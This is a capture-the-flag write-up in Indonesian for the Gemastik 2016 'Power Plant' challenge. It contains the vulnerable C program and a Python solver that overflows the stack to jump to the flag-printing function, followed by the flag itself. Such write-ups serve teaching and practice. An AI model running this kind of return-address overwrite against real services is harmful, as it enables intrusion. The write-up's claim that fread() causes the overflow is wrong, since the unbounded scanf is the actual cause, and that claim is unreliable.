Gemastik Quals 2016 Power Plant (150 Points)

Masalah

Diberikan dua buah file, powerPlant2 dan powerplant2.cserta layanan yang dapat diakses melalui nc 103.43.46.178 13341.

Isi powerplant2.c.

#include <stdio.h>
#include <stdlib.h>

int is_access_code_correct(char input[32]) {
  FILE *db;
  char access_code[64];
  db = fopen("PowerPlant.db", "r");
  fread(&access_code, 1, 64, db);
  fclose(db);
  if (strcmp(input, access_code) == 0) {
    return 1;
  }
  return 0;
}

void enter_power_plant_system() {
  FILE *fp;
  char flag[64];
  fp = fopen("PowerPlant2.flag", "r");
  fread(&flag, 1, 64, fp);
  fclose(fp);
  printf("       %s\n\n", flag);
}

int main() {
  printf("\n");
  printf(" __          ________ _      _____ ____  __  __ ______              ,/\n");
  printf(" \\ \\        / /  ____| |    / ____/ __ \\|  \\/  |  ____|           ,'/\n");
  printf("  \\ \\  /\\  / /| |__  | |   | |   | |  | | \\  / | |__            ,' /\n");
  printf("   \\ \\/  \\/ / |  __| | |   | |   | |  | | |\\/| |  __|         ,'  /_____,\n");
  printf("    \\  /\\  /  | |____| |___| |___| |__| | |  | | |____      .'____    ,' \n");
  printf("     \\/  \\/   |______|______\\_____\\____/|_|  |_|______|          /  ,'\n");
  printf("                                                                / ,'\n");
  printf("  =====================================================        /,'\n");
  printf("           - Power Plant Control System v2.0 -                /'\n");                                        
  printf("\n\n\n");
  printf("       SECRET ACCESS CODE : ");

  char input[32];
  scanf("%s", input);

  printf("\n\n");

  if (is_access_code_correct(input)) {
      printf("       ACCESS GRANTED\n\n");
      enter_power_plant_system();
  } else { 
    printf("       ACCESS DENIED\n\n");
  }

  return 0;
}

Penyelesaian

Binary yang diberikan ternyata berbeda. Jika melakukan debugging secara lok al, anda tidak dapat mengendalikan register RIP.

Sebaiknya langsung mengirim payload ke server.

Kelemahan yang ada sebenarnya ada pada fungsi fread() yang tidak bisa menahan serangan buffer overflow yang dapat menyebabkan pemanggilan fungsi yang tida k diinginkan, salah satunya enter_power_plant_system().

Fungsi tersebut beralamatkan di 0x4007ba, anda dapat memeriksanya dengan peri ntah:

$ nm powerPlant2

Untuk menyelesaikannya, gunakan solver.py.

Isi solver.py.

import socket 
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('103.43.46.178',13341))

p = 'A' * 40
p += struct.pack('<Q', 0x4007ba)
s.send(p + '\n')

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

Anda akan mendapatkan flag ini.

GEMASTIK{_all_your_st4ck_b3l0ng_to_us__________}

results matching ""

    No results matching ""